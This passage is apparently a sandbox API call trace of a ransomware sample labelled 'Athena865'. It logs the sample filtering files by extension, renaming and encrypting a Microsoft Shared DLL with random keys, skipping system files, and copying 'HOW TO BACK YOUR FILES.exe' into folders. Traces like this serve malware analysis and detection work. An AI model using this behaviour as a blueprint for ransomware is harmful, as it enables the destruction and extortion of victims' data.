(lpString="lwx") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0117.667] lstrlenW (lpString="maf") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0117.667] lstrlenW (lpString="maq") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0117.667] lstrlenW (lpString="mar") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0117.667] lstrlenW (lpString="marshal") returned 7 [0117.667] lstrcmpiW (lpString1="1MS.DLL", lpString2="marshal") returned -1 [0117.667] lstrlenW (lpString="mas") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0117.667] lstrlenW (lpString="mav") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0117.667] lstrlenW (lpString="maw") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0117.667] lstrlenW (lpString="mdbhtml") returned 7 [0117.667] lstrcmpiW (lpString1="1MS.DLL", lpString2="mdbhtml") returned -1 [0117.667] lstrlenW (lpString="mdn") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0117.667] lstrlenW (lpString="mdt") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0117.667] lstrlenW (lpString="mfd") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0117.667] lstrlenW (lpString="mpd") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0117.667] lstrlenW (lpString="mrg") returned 3 [0117.667] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0117.667] lstrlenW (lpString="mud") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0117.668] lstrlenW (lpString="mwb") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0117.668] lstrlenW (lpString="myd") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0117.668] lstrlenW (lpString="ndf") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0117.668] lstrlenW (lpString="nnt") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0117.668] lstrlenW (lpString="nrmlib") returned 6 [0117.668] lstrcmpiW (lpString1="MS.DLL", lpString2="nrmlib") returned -1 [0117.668] lstrlenW (lpString="ns2") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0117.668] lstrlenW (lpString="ns3") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0117.668] lstrlenW (lpString="ns4") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0117.668] lstrlenW (lpString="nsf") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0117.668] lstrlenW (lpString="nv") returned 2 [0117.668] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0117.668] lstrlenW (lpString="nv2") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0117.668] lstrlenW (lpString="nwdb") returned 4 [0117.668] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0117.668] lstrlenW (lpString="nyf") returned 3 [0117.668] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0117.668] lstrlenW (lpString="odb") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.669] lstrlenW (lpString="odb") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0117.669] lstrlenW (lpString="oqy") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0117.669] lstrlenW (lpString="ora") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0117.669] lstrlenW (lpString="orx") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0117.669] lstrlenW (lpString="owc") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0117.669] lstrlenW (lpString="p96") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0117.669] lstrlenW (lpString="p97") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0117.669] lstrlenW (lpString="pan") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0117.669] lstrlenW (lpString="pdb") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0117.669] lstrlenW (lpString="pdm") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0117.669] lstrlenW (lpString="pnz") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0117.669] lstrlenW (lpString="qry") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0117.669] lstrlenW (lpString="qvd") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0117.669] lstrlenW (lpString="rbf") returned 3 [0117.669] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0117.670] lstrlenW (lpString="rctd") returned 4 [0117.670] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0117.670] lstrlenW (lpString="rod") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0117.670] lstrlenW (lpString="rodx") returned 4 [0117.670] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0117.670] lstrlenW (lpString="rpd") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0117.670] lstrlenW (lpString="rsd") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0117.670] lstrlenW (lpString="sas7bdat") returned 8 [0117.670] lstrcmpiW (lpString1="61MS.DLL", lpString2="sas7bdat") returned -1 [0117.670] lstrlenW (lpString="sbf") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0117.670] lstrlenW (lpString="scx") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0117.670] lstrlenW (lpString="sdb") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0117.670] lstrlenW (lpString="sdc") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0117.670] lstrlenW (lpString="sdf") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0117.670] lstrlenW (lpString="sis") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0117.670] lstrlenW (lpString="spq") returned 3 [0117.670] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0117.670] lstrlenW (lpString="te") returned 2 [0117.671] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0117.671] lstrlenW (lpString="teacher") returned 7 [0117.671] lstrcmpiW (lpString1="1MS.DLL", lpString2="teacher") returned -1 [0117.671] lstrlenW (lpString="tmd") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0117.671] lstrlenW (lpString="tps") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0117.671] lstrlenW (lpString="trc") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.671] lstrlenW (lpString="trc") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0117.671] lstrlenW (lpString="trm") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0117.671] lstrlenW (lpString="udb") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0117.671] lstrlenW (lpString="udl") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0117.671] lstrlenW (lpString="usr") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0117.671] lstrlenW (lpString="v12") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0117.671] lstrlenW (lpString="vis") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0117.671] lstrlenW (lpString="vpd") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0117.671] lstrlenW (lpString="vvv") returned 3 [0117.671] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0117.672] lstrlenW (lpString="wdb") returned 3 [0117.672] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0117.672] lstrlenW (lpString="wmdb") returned 4 [0117.672] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0117.672] lstrlenW (lpString="wrk") returned 3 [0117.672] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0117.672] lstrlenW (lpString="xdb") returned 3 [0117.672] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0117.672] lstrlenW (lpString="xld") returned 3 [0117.672] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0117.672] lstrlenW (lpString="xmlff") returned 5 [0117.672] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0117.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.Athena865") returned 78 [0117.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.athena865"), dwFlags=0x1) returned 1 [0117.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.674] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=221184) returned 1 [0117.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.675] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.675] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.676] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36300, lpName=0x0) returned 0x154 [0117.677] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36300) returned 0x170000 [0117.701] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.701] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.701] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.702] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0117.704] CloseHandle (hObject=0x154) returned 1 [0117.704] CloseHandle (hObject=0x17c) returned 1 [0117.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.705] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0117.705] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.705] ReleaseMutex (hMutex=0xec) returned 1 [0117.705] CloseHandle (hObject=0xec) returned 1 [0117.705] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" [0117.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539068 | out: hHeap=0x4f0000) returned 1 [0117.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aea0 | out: hHeap=0x4f0000) returned 1 [0117.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned 54 [0117.706] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E598F7D03C3BC032D8AEB80BC91025A5") returned 0xec [0117.706] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.706] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" [0117.706] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.706] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.707] GetLastError () returned 0x0 [0117.707] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.707] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.708] CloseHandle (hObject=0xf4) returned 1 [0117.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.708] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.708] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.708] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.708] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.708] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.708] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.708] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.708] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.708] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.708] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0117.708] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.708] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.708] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0117.709] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0117.709] lstrlenW (lpString="en-US") returned 5 [0117.709] lstrcpyW (in: lpString1=0x241e8b6, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0117.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aea0 [0117.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54eb28 [0117.709] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0117.709] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0117.709] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.712] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0da4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.712] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.712] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0da4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0117.712] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.712] ReleaseMutex (hMutex=0xec) returned 1 [0117.712] CloseHandle (hObject=0xec) returned 1 [0117.712] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" [0117.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52edd0 | out: hHeap=0x4f0000) returned 1 [0117.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aeb8 | out: hHeap=0x4f0000) returned 1 [0117.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned 50 [0117.712] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1F009132AAC058C9609560907CA9E555") returned 0xec [0117.712] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.713] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" [0117.713] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.713] GetLastError () returned 0x0 [0117.713] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.714] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.714] CloseHandle (hObject=0xf4) returned 1 [0117.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.714] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.715] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.715] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.715] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.715] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.715] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.715] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.715] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0da4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, 